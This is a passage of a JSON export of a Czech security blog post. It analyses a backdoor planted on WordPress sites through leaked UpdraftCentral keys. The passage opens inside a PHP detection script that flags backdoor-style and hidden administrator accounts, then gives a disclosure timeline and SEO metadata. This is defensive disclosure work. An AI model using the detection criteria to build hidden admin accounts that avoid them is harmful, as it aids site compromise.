Tools&#39;&quot; ) as $user ) {\n    $report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;&quot; );\n    $flagged[ $user-&gt;ID ] = true;\n    $user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n    $user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n    if ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n    $caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n    $extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n    if ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n        $report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n        $user_hits++;\n    }\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n    echo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n    echo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n    echo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"pro\u010d-zve\u0159ej\u0148ujeme-hned\">Pro\u010d zve\u0159ej\u0148ujeme hned<\/h2>\n<p>Responsible disclosure znamen\u00e1 d\u00e1t v\u00fdrobci \u010das na opravu a zve\u0159ejnit podrobnosti a\u017e potom. Tady na to bohu\u017eel nen\u00ed d\u016fvod. \u00dato\u010dn\u00edk backdoory do instalac\u00ed WordPressu u\u017e aktivn\u011b \u0161\u00ed\u0159\u00ed a oprava od v\u00fdrobce majitel\u016fm web\u016f nepom\u016f\u017ee, dokud m\u00e1 \u00fato\u010dn\u00edk platn\u00e9 kl\u00ed\u010de. Jedin\u00e1 \u00fa\u010dinn\u00e1 ochrana je zru\u0161it spojen\u00ed s UpdraftCentral a web zkontrolovat, a to m\u016f\u017ee ud\u011blat ka\u017ed\u00fd spr\u00e1vce hned.<\/p>\n<p>Zve\u0159ejn\u011bn\u00ed \u00fato\u010dn\u00edkovi nepom\u016f\u017ee. K \u00fatoku pot\u0159ebuje platn\u00e9 kl\u00ed\u010de, kter\u00e9 u\u017e m\u00e1, a nic v tomto \u010dl\u00e1nku mu ned\u00e1v\u00e1 nov\u00fd zp\u016fsob \u00fatoku. Obr\u00e1nc\u016fm naopak d\u00e1v\u00e1 postup, jak se chr\u00e1nit. Backdoor nav\u00edc vyr\u00e1b\u00ed gener\u00e1tor, kter\u00fd pro ka\u017ed\u00fd web vytvo\u0159\u00ed jin\u00e1 jm\u00e9na, tokeny a hesla, co\u017e nazna\u010duje n\u00e1stroj ur\u010den\u00fd pro velk\u00fd po\u010det web\u016f. Ka\u017ed\u00e1 hodina \u010dek\u00e1n\u00ed d\u00e1v\u00e1 \u00fato\u010dn\u00edkovi \u010das na dal\u0161\u00ed weby.<\/p>\n<h2 id=\"komunikace-s-v\u00fdrobcem-a-bezpe\u010dnostn\u00edmi-firmami\">Komunikace s v\u00fdrobcem a bezpe\u010dnostn\u00edmi firmami<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: hl\u00e1\u0161en\u00ed TeamUpdraft p\u0159es formul\u00e1\u0159 pr\u00e9miov\u00e9 podpory s logy a anal\u00fdzou pro web A<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bn\u00ed o \u00fatoky na weby B a C, druh\u00fd vzorek a porovn\u00e1n\u00ed User-Agent se skute\u010dn\u00fdm dashboardem<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: informovali jsme Wordfence a Patchstack, aby mohli p\u0159idat detekci a varovat dal\u0161\u00ed spr\u00e1vce<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft zve\u0159ejnil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyj\u00e1d\u0159en\u00ed k bezpe\u010dnostn\u00edmu incidentu<\/a> a potvrdil \u00fanik z\u00e1kaznick\u00e9 datab\u00e1ze v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft n\u00e1m v odpov\u011bdi na hl\u00e1\u0161en\u00ed potvrdil, \u017ee na jeho z\u00e1klad\u011b pova\u017euje kl\u00ed\u010de UpdraftCentral za kompromitovan\u00e9, a v\u0161echny z\u00e1kazn\u00edky UpdraftCentral \u017e\u00e1d\u00e1 odpojit a zkontrolovat ka\u017ed\u00fd web. Nouzov\u00e1 verze UpdraftPlus k uz\u00e1v\u011brce je\u0161t\u011b nevy\u0161la (posledn\u00ed je 1.26.11 ze 16. 10.).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Patchstack zve\u0159ejnil <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">vlastn\u00ed anal\u00fdzu<\/a> a potvrdil ob\u011b IP adresy \u00fato\u010dn\u00edka. Wordfence i Patchstack si vy\u017e\u00e1daly vzorky.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n<p>Pokud jste podobn\u00fd \u00fatok zaznamenali i vy, napi\u0161te n\u00e1m na info@nethemba.com. Vzorky a dal\u0161\u00ed technick\u00e9 podklady poskytneme v\u00fdrobci i bezpe\u010dnostn\u00edm t\u00fdm\u016fm na po\u017e\u00e1d\u00e1n\u00ed.<\/p>\n<h2 id=\"aktualizace\">Aktualizace<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: prvn\u00ed zve\u0159ejn\u011bn\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozorn\u011bn\u00ed, \u017ee log UpdraftCentral uchov\u00e1v\u00e1 jen 50 ud\u00e1lost\u00ed, a kontrola access logu; doporu\u010den\u00ed nevytv\u00e1\u0159et spojen\u00ed znovu; postup pro pln\u011b kompromitovan\u00e9 weby; up\u0159esn\u011bn\u00ed dot\u010den\u00fdch verz\u00ed u CVE-2026-10795.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bno vyj\u00e1d\u0159en\u00ed v\u00fdrobce, kter\u00fd potvrdil \u00fanik kl\u00ed\u010d\u016f z teamupdraft.com; aktualizov\u00e1na doporu\u010den\u00ed, oprava a rozsah.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026 (ve\u010der): druh\u00e1 varianta se skryt\u00fdm administr\u00e1torem, dal\u0161\u00ed vzorky prvn\u00ed varianty, druh\u00e1 IP adresa, odkaz na anal\u00fdzu Patchstacku, kontroln\u00ed skript ve verzi 2.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: dopln\u011bna p\u0159\u00edm\u00e1 odpov\u011b\u010f v\u00fdrobce na na\u0161e hl\u00e1\u0161en\u00ed.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>V noci na 19. \u0159\u00edjna 2026 \u00fato\u010dn\u00edk zneu\u017eil slu\u017ebu UpdraftCentral, kter\u00e1 je sou\u010d\u00e1st\u00ed z\u00e1lohovac\u00edho pluginu UpdraftPlus s v\u00edce ne\u017e 4 miliony instalac\u00ed, a na dva z na\u0161ich t\u0159\u00ed web\u016f nahr\u00e1l backdoor. Na\u0161e weby byly pln\u011b aktualizovan\u00e9 a chyba nebyla na na\u0161\u00ed stran\u011b: \u00fato\u010dn\u00edk podepisoval p\u0159\u00edkazy platn\u00fdmi kl\u00ed\u010di, kter\u00e9 generuje a uchov\u00e1v\u00e1 slu\u017eba UpdraftCentral Cloud. Zve\u0159ej\u0148ujeme rozbor backdooru, indik\u00e1tory kompromitace a postup, jak si zkontrolovat vlastn\u00ed weby. V\u00fdrobce pozd\u011bji potvrdil, \u017ee \u00fato\u010dn\u00edk z\u00edskal z\u00e1kaznickou datab\u00e1zi teamupdraft.com v\u010detn\u011b kl\u00ed\u010d\u016f UpdraftCentral.<\/p>\n","protected":false},"author":2,"featured_media":9610,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[2989,2990],"tags":[],"class_list":["post-9627","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog-cs-2","category-featured-cs"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.7 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba<\/title>\n<meta name=\"description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba\" \/>\n<meta property=\"og:description\" content=\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/\" \/>\n<meta property=\"og:site_name\" content=\"Nethemba\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/nethemba\" \/>\n<meta property=\"article:published_time\" content=\"2026-10-19T05:44:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-10-19T15:03:23+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"1140\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Pavol Lupt\u00e1k\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@nethemba\" \/>\n<meta name=\"twitter:site\" content=\"@nethemba\" \/>\n<meta name=\"twitter:label1\" content=\"Napsal(a)\" \/>\n\t<meta name=\"twitter:data1\" content=\"Pavol Lupt\u00e1k\" \/>\n\t<meta name=\"twitter:label2\" content=\"Odhadovan\u00e1 doba \u010dten\u00ed\" \/>\n\t<meta name=\"twitter:data2\" content=\"31 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"author\":{\"name\":\"Pavol Lupt\u00e1k\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\"},\"headline\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby\",\"datePublished\":\"2026-10-19T05:44:03+00:00\",\"dateModified\":\"2026-10-19T15:03:23+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"},\"wordCount\":4547,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"articleSection\":[\"Blog\",\"Featured\"],\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\",\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"datePublished\":\"2026-10-19T05:44:03+00:00\",\"dateModified\":\"2026-10-19T15:03:23+00:00\",\"description\":\"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\"},\"inLanguage\":\"cs\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#primaryimage\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2026\\\/10\\\/updraftcentral-backdoor-cs.png\",\"width\":1200,\"height\":1140},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/updraftcentral-backdoor-analysis\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/nethemba.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#website\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"name\":\"Nethemba\",\"description\":\"We care about your security\",\"publisher\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/nethemba.com\\\/de\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"cs\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#organization\",\"name\":\"Nethemba\",\"url\":\"https:\\\/\\\/nethemba.com\\\/de\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"contentUrl\":\"https:\\\/\\\/nethemba.com\\\/wp-content\\\/uploads\\\/2025\\\/03\\\/Logo-UP.png\",\"width\":66,\"height\":70,\"caption\":\"Nethemba\"},\"image\":{\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/nethemba\",\"https:\\\/\\\/x.com\\\/nethemba\",\"https:\\\/\\\/sk.linkedin.com\\\/company\\\/nethemba\",\"https:\\\/\\\/www.youtube.com\\\/@sabretoothatNethemba\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/nethemba.com\\\/de\\\/#\\\/schema\\\/person\\\/5f4ba68c8e1a2013d30e0804245b8234\",\"name\":\"Pavol Lupt\u00e1k\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"cs\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g\",\"caption\":\"Pavol Lupt\u00e1k\"},\"sameAs\":[\"https:\\\/\\\/www.nethemba.com\\\/\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"cs_CZ","og_type":"article","og_title":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","og_description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:03+00:00","article_modified_time":"2026-10-19T15:03:23+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Napsal(a)":"Pavol Lupt\u00e1k","Odhadovan\u00e1 doba \u010dten\u00ed":"31 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby","datePublished":"2026-10-19T05:44:03+00:00","dateModified":"2026-10-19T15:03:23+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":4547,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","articleSection":["Blog","Featured"],"inLanguage":"cs","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","datePublished":"2026-10-19T05:44:03+00:00","dateModified":"2026-10-19T15:03:23+00:00","description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"cs","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/"},{"@type":"ListItem","position":2,"name":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"cs"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/comments?post=9627"}],"version-history":[{"count":8,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627\/revisions"}],"predecessor-version":[{"id":9668,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627\/revisions\/9668"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/media\/9610"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/media?parent=9627"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/categories?post=9627"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/tags?post=9627"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}